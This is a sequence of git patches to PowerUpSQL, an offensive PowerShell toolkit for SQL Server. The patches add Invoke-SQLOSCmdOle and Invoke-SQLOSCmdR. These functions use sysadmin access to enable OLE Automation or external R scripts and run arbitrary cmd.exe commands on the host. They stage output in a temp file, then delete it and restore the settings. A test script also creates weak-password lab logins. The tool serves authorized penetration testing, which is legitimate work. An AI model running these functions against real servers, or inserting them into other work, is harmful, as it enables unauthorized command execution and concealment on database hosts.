$Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + } + else + { + Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.') + return + } + + # Enable show advanced options if needed + if ($IsShowAdvancedEnabled -eq 1) + { + Write-Verbose -Message "$Instance : Show Advanced Options is already enabled." + } + else + { + Write-Verbose -Message "$Instance : Show Advanced Options is disabled." + $DisableShowAdvancedOptions = 1 + + # Try to enable Show Advanced Options + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsShowAdvancedEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled Show Advanced Options." + } + else + { + Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.') + return + } + } + + # Enable OLE Automation Procedures if needed + if ($IsOleEnabled -eq 1) + { + Write-Verbose -Message "$Instance : Ole Automation Procedures are already enabled." + } + else + { + Write-Verbose -Message "$Instance : Ole Automation Procedures are disabled." + $DisableOle = 1 + + # Try to enable Ole Automation Procedures + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ole Automation Procedures',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsOleEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure "Ole Automation Procedures"' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsOleEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled Ole Automation Procedures." + } + else + { + Write-Verbose -Message "$Instance : Enabling Ole Automation Procedures failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Ole Automation Procedures.') + + return + } + } + + # Setup output file + $OutputDir = 'c:\windows\temp' + $OutputFile = (-join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})) + $OutputPath = "$outputdir\$outputfile.txt" + + # Setup query to run command + write-verbose "$instance : Executing command: $Command" + $QueryCmdExecute = +@" +DECLARE @Shell INT +DECLARE @Output varchar(8000) +EXEC @Output = Sp_oacreate 'wscript.shell' , @Shell Output +EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "$Command > $OutputPath"' +"@ + # Execute query + $null = Get-SQLQuery -Instance $Instance -Query $QueryCmdExecute -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Setup query for reading command output + write-verbose "$instance : Reading command output from $OutputPath" + $QueryReadCommandOutput = +@" +DECLARE @fso INT +DECLARE @file INT +DECLARE @o int +DECLARE @f int +DECLARE @ret int +DECLARE @FileContents varchar(8000) +EXEC Sp_oacreate 'scripting.filesystemobject' , @fso Output +EXEC Sp_oamethod @fso, 'opentextfile' , @file Out, '$OutputPath',1 +EXEC sp_oacreate 'scripting.filesystemobject', @o out +EXEC sp_oamethod @o, 'opentextfile', @f out, '$OutputPath', 1 +EXEC @ret = sp_oamethod @f, 'readall', @FileContents out +SELECT @FileContents as output +"@ + # Execute query + $CmdResults = Get-SQLQuery -Instance $Instance -Query $QueryReadCommandOutput -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property output -ExpandProperty output + + # Remove file + write-verbose "$instance : Removing file $OutputPath" + $QueryRemoveFile = +@" +DECLARE @Shell INT +EXEC Sp_oacreate 'wscript.shell' , @shell Output +EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "del $OutputPath"' , '0' , 'true' +"@ + # Run query + $null = Get-SQLQuery -Instance $Instance -Query $QueryRemoveFile -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property output -ExpandProperty output + + # Display results or add to final results table + if($RawResults) + { + $CmdResults + } + else + { + $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults.trim()) + } + + # Restore 'Ole Automation Procedures state if needed + if($DisableOle -eq 1) + { + Write-Verbose -Message "$Instance : Disabling 'Ole Automation Procedures" + Get-SQLQuery -Instance $Instance -Query "sp_configure ''Ole Automation Procedures',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Restore Show Advanced Options state if needed + if($DisableShowAdvancedOptions -eq 1) + { + Write-Verbose -Message "$Instance : Disabling Show Advanced Options" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed + + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + #Write-Verbose " Error: $ErrorMessage" + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible or Command Failed') + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + return $TblResults + } +} + + # ---------------------------------- # Invoke-SQLOSCmdCLR # ---------------------------------- From e63ac853514338d2a094c441c35a98e0903133e7 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 1 Jun 2017 08:41:45 -0500 Subject: [PATCH 014/145] add Invoke-SQLOSCmdOle --- PowerUpSQL.psd1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 4db09db..daae174 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.82' + ModuleVersion = '1.0.0.83' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -86,6 +86,7 @@ 'Invoke-SQLImpersonateServiceCmd', 'Invoke-SQLOSCmd', 'Invoke-SQLOSCmdCLR', + 'Invoke-SQLOSCmdCOle', 'Invoke-TokenManipulation' ) FileList = 'PowerUpSQL.psm1', 'PowerUpSQL.ps1', 'README.md' From 3248871c19d799d58686659fca5dbb01aee74d58 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 4 Jun 2017 20:35:36 -0500 Subject: [PATCH 015/145] Add logins, users, and privs for assembly tests --- tests/pesterdb.sql | 42 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index e8a2388..88672e2 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -1,6 +1,48 @@ -- Script: pesterdb.sql -- Description: This script can be used to configure a new SQL Server 2014 instance for PowerUpSQL Pester tests. +------------------------------------------------------------ +-- Create Logins, Database Users, and Grant Assembly Privs +------------------------------------------------------------ + +-- Create db_ddladmin login +If not Exists (select loginname from master.dbo.syslogins where name = 'test_login_ddladmin') +CREATE LOGIN [test_login_ddladmin] WITH PASSWORD = 'test_login_ddladmin', CHECK_POLICY = OFF; + +-- Create db_ddladmin database user +If not Exists (SELECT name FROM sys.database_principals where name = 'test_login_ddladmin') +CREATE USER [test_login_ddladmin] FROM LOGIN [test_login_ddladmin]; +GO + +-- Add test_login_ddladmin to db_ddladmin role +EXEC sp_addrolemember [db_ddladmin], [test_login_ddladmin]; +GO + +-- Create login with the CREATE ASSEMBLY database privilege +If not Exists (select loginname from master.dbo.syslogins where name = 'test_login_createassembly') +CREATE LOGIN [test_login_createassembly] WITH PASSWORD = 'test_login_createassembly', CHECK_POLICY = OFF; + +-- Create test_login_createassembly database user +If not Exists (SELECT name FROM sys.database_principals where name = 'test_login_createassembly') +CREATE USER [test_login_createassembly] FROM LOGIN [test_login_createassembly]; +GO + +-- Add privilege +GRANT CREATE ASSEMBLY to [test_login_createassembly]; +GO + +-- Create login with the ALTER ANY ASSEMBLY database privilege +If not Exists (select loginname from master.dbo.syslogins where name = 'test_login_alterassembly') +CREATE LOGIN [test_login_alterassembly] WITH PASSWORD = 'test_login_alterassembly', CHECK_POLICY = OFF; + +-- Create test_login_alterassembly database user +If not Exists (SELECT name FROM sys.database_principals where name = 'test_login_alterassembly') +CREATE USER [test_login_alterassembly] FROM LOGIN [test_login_alterassembly]; +GO + +-- Add privilege +GRANT ALTER ANY ASSEMBLY to [test_login_alterassembly]; +GO ------------------------------------------------------------ -- Create Test SQL Logins ------------------------------------------------------------ From fef7879797804d918d00b9b4bfb2cd4be9244741 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 6 Jun 2017 10:59:52 -0500 Subject: [PATCH 016/145] Update invoke-sqloscmdole --- PowerUpSQL.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index f8b7874..a5d6590 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.83 + Version: 1.0.0.84 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -1512,7 +1512,7 @@ Function Invoke-SQLOSCmdOle @" DECLARE @Shell INT DECLARE @Output varchar(8000) -EXEC @Output = Sp_oacreate 'wscript.shell' , @Shell Output +EXEC @Output = Sp_oacreate 'wscript.shell', @Shell Output, 5 EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "$Command > $OutputPath"' "@ # Execute query From d9ff570da4e3152d27be77ddd4ce17eda1fb0d13 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 6 Jun 2017 11:05:04 -0500 Subject: [PATCH 017/145] Update invoke-sqloscmdole Changed the context to 5 for safer execution. --- PowerUpSQL.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index a5d6590..e20b25e 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.84 + Version: 1.0.0.85 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -1528,7 +1528,7 @@ DECLARE @o int DECLARE @f int DECLARE @ret int DECLARE @FileContents varchar(8000) -EXEC Sp_oacreate 'scripting.filesystemobject' , @fso Output +EXEC Sp_oacreate 'scripting.filesystemobject' , @fso Output, 5 EXEC Sp_oamethod @fso, 'opentextfile' , @file Out, '$OutputPath',1 EXEC sp_oacreate 'scripting.filesystemobject', @o out EXEC sp_oamethod @o, 'opentextfile', @f out, '$OutputPath', 1 @@ -1543,7 +1543,7 @@ SELECT @FileContents as output $QueryRemoveFile = @" DECLARE @Shell INT -EXEC Sp_oacreate 'wscript.shell' , @shell Output +EXEC Sp_oacreate 'wscript.shell' , @shell Output, 5 EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "del $OutputPath"' , '0' , 'true' "@ # Run query From 013ac5b714dff8d0265620118379118e122419f6 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 6 Jun 2017 11:05:32 -0500 Subject: [PATCH 018/145] Update PowerUpSQL.psd1 --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index daae174..91f3aa9 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.83' + ModuleVersion = '1.0.0.85' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From e6174f5c3ff901836893875adb33b78d9764ffcd Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 8 Jun 2017 12:09:01 -0500 Subject: [PATCH 019/145] Add invoke-sqloscmdr allows command execution through the external script using R. Note: its works, but there may be some bugs to work out. --- PowerUpSQL.ps1 | 368 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 363 insertions(+), 5 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index e20b25e..99606e0 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.85 + Version: 1.0.0.86 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -1174,7 +1174,7 @@ Function Invoke-SQLOSCmd # Display results or add to final results table if($RawResults) { - $CmdResults + $CmdResults | Select output -ExpandProperty output } else { @@ -1225,6 +1225,364 @@ Function Invoke-SQLOSCmd } +# ---------------------------------- +# Invoke-SQLOSCmdR +# ---------------------------------- +# Author: Scott Sutherland +# Reference: https://pastebin.com/raw/zBDnzELT +Function Invoke-SQLOSCmdR +{ + <# + .SYNOPSIS + Execute command on the operating system as the SQL Server service account using the R runtime language. + Supports threading, raw output, and table output. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER TimeOut + Connection time out. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Threads + Number of concurrent threads. + .PARAMETER Command + Operating command to be executed on the SQL Server. + .PARAMETER RawResults + Just show the raw results without the computer or instance name. + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Invoke-SQLOSCmdR -Verbose -Command "whoami" + VERBOSE: Creating runspace pool and session states + VERBOSE: MSSQLSRV04 : Connection Failed. + VERBOSE: MSSQLSRV04\BOSCHSQL : Connection Success. + VERBOSE: MSSQLSRV04\BOSCHSQL : You are not a sysadmin. This command requires sysadmin privileges. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : You are a sysadmin. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Show Advanced Options is already enabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : external scripts are already enabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Running command: whoami + VERBOSE: MSSQLSRV04\SQLSERVER2016 : Connection Failed. + VERBOSE: Closing the runspace pool + + ComputerName Instance CommandResults + ------------ -------- -------------- + MSSQLSRV04 MSSQLSRV04\BOSCHSQL No sysadmin privileges. + MSSQLSRV04 MSSQLSRV04\SQLSERVER2014 nt authority\system + MSSQLSRV04 MSSQLSRV04\SQLSERVER2016 Not Accessible + + .EXAMPLE + PS C:\> Invoke-SQLOSCmdR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Command "whoami" -RawResults + VERBOSE: Creating runspace pool and session states + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : You are a sysadmin. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Show Advanced Options is disabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled Show Advanced Options. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : External scripts are disabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled external scripts. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Executing command: whoami + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Reading command output from c:\windows\temp\OlHZP.txt + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Removing file c:\windows\temp\OlHZP.txt + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling external scripts + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling Show Advanced Options + + nt authority\system + + VERBOSE: Closing the runspace pool + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $true, + HelpMessage = 'OS command to be executed.')] + [String]$Command = "whoami", + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 1, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose, + + [Parameter(Mandatory = $false, + HelpMessage = 'Just show the raw results without the computer or instance name.')] + [switch]$RawResults + ) + + Begin + { + # Setup data table for output + $TblCommands = New-Object -TypeName System.Data.DataTable + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('CommandResults') + + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut + } + else + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut + } + + # Attempt connection + try + { + # Open connection + $Connection.Open() + + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + } + + # Switch to track external scripting status + $DisableShowAdvancedOptions = 0 + $DisableExternalScripts = 0 + + # Check version, 2016 or later + + # Get sysadmin status + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin + + # Check if external scripting is enabled + if($IsSysadmin -eq 'Yes') + { + Write-Verbose -Message "$Instance : You are a sysadmin." + $IsExternalScriptsEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + } + else + { + Write-Verbose -Message "$Instance : You are not a sysadmin. This command requires sysadmin privileges." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'No sysadmin privileges.') + return + } + + # Enable show advanced options if needed + if ($IsShowAdvancedEnabled -eq 1) + { + Write-Verbose -Message "$Instance : Show Advanced Options is already enabled." + } + else + { + Write-Verbose -Message "$Instance : Show Advanced Options is disabled." + $DisableShowAdvancedOptions = 1 + + # Try to enable Show Advanced Options + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsShowAdvancedEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled Show Advanced Options." + } + else + { + Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.') + return + } + } + + # Enable external scripts if needed + if ($IsExternalScriptsEnabled -eq 1) + { + Write-Verbose -Message "$Instance : External scripts are already enabled." + } + else + { + Write-Verbose -Message "$Instance : External scripts enabled are disabled." + $DisableExternalScripts = 1 + + # Try to enable Ole Automation Procedures + Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Check if configuration change worked + $IsExternalScriptsEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure "external scripts enabled"' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + + if ($IsExternalScriptsEnabled2 -eq 1) + { + Write-Verbose -Message "$Instance : Enabled external scripts." + } + else + { + Write-Verbose -Message "$Instance : Enabling external scripts failed. Aborting." + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable external scripts.') + + return + } + } + + # Setup output file + $OutputDir = 'c:\windows\temp' + $OutputFile = (-join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})) + $OutputPath = "$outputdir\$outputfile.txt" + + # Setup query to run command + write-verbose "$instance : Executing command: $Command" + $QueryCmdExecuteAlt = +@" +EXEC sp_execute_external_script + @language=N'R', + @script=N'OutputDataSet <- data.frame(system("cmd.exe /c $ComputerName",intern=T))' + WITH RESULT SETS (([cmd_out] text)); +GO +"@ + + $QueryCmdExecute = +@" +EXEC sp_execute_external_script + @language=N'R', + @script=N'OutputDataSet <- data.frame(shell("$Command",intern=T))' + WITH RESULT SETS (([Output] varchar(max))); +"@ + + # Execute query + $CmdResults = Get-SQLQuery -Instance $Instance -Query $QueryCmdExecute -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | select Output -ExpandProperty Output + + # Display results or add to final results table + if($RawResults) + { + $CmdResults + } + else + { + $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults.trim()) + } + + # Restore external scripts state if needed + if($DisableExternalScripts -eq 1) + { + Write-Verbose -Message "$Instance : Disabling external scripts" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Restore Show Advanced Options state if needed + if($DisableShowAdvancedOptions -eq 1) + { + Write-Verbose -Message "$Instance : Disabling Show Advanced Options" + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + } + catch + { + # Connection failed + + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + #Write-Verbose " Error: $ErrorMessage" + } + + # Add record + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible or Command Failed') + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + return $TblResults + } +} + + # ---------------------------------- # Invoke-SQLOSCmdOle # ---------------------------------- @@ -1552,7 +1910,7 @@ EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "del $OutputPath"' , '0' , 't # Display results or add to final results table if($RawResults) { - $CmdResults + $CmdResults | Select output -ExpandProperty output } else { @@ -1563,7 +1921,7 @@ EXEC Sp_oamethod @Shell, 'run' , null, 'cmd.exe /c "del $OutputPath"' , '0' , 't if($DisableOle -eq 1) { Write-Verbose -Message "$Instance : Disabling 'Ole Automation Procedures" - Get-SQLQuery -Instance $Instance -Query "sp_configure ''Ole Automation Procedures',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ole Automation Procedures',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose } # Restore Show Advanced Options state if needed @@ -1880,7 +2238,7 @@ Function Invoke-SQLOSCmdCLR # Display results or add to final results table if($RawResults) { - $CmdResults + $CmdResults } else { From 50f3c2c4e04145842cbcefc21a6077c220f7cc4f Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 8 Jun 2017 12:11:27 -0500 Subject: [PATCH 020/145] Invoke-SQLOSCmdR --- PowerUpSQL.psd1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 91f3aa9..d8c5f3a 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.85' + ModuleVersion = '1.0.0.86' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -87,6 +87,7 @@ 'Invoke-SQLOSCmd', 'Invoke-SQLOSCmdCLR', 'Invoke-SQLOSCmdCOle', + 'Invoke-SQLOSCmdR', 'Invoke-TokenManipulation' ) FileList = 'PowerUpSQL.psm1', 'PowerUpSQL.ps1', 'README.md' From b58a8bb907bb5158cd2454135ba4fcb9ba0ef0e6 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 9 Jun 2017 09:52:20 -0500 Subject: [PATCH 021/145] Update Invoke-SQLOsCmdR --- PowerUpSQL.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 99606e0..b95da95 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.0.0.86 + Version: 1.0.0.87 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -1482,7 +1482,7 @@ Function Invoke-SQLOSCmdR $DisableExternalScripts = 1 # Try to enable Ole Automation Procedures - Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled',1;RECONFIGURE WITH OVERRIDE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Check if configuration change worked $IsExternalScriptsEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure "external scripts enabled"' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value @@ -1543,7 +1543,7 @@ EXEC sp_execute_external_script if($DisableExternalScripts -eq 1) { Write-Verbose -Message "$Instance : Disabling external scripts" - Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled',0;RECONFIGURE WITH OVERRIDE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose } # Restore Show Advanced Options state if needed From 2dff1bd65b0d6a4906ba9442559e3a04d859fd01 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 9 Jun 2017 09:58:59 -0500 Subject: [PATCH 022/145] Update version --- PowerUpSQL.psd1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index d8c5f3a..b8b9189 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.0.0.86' + ModuleVersion = '1.0.0.87' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 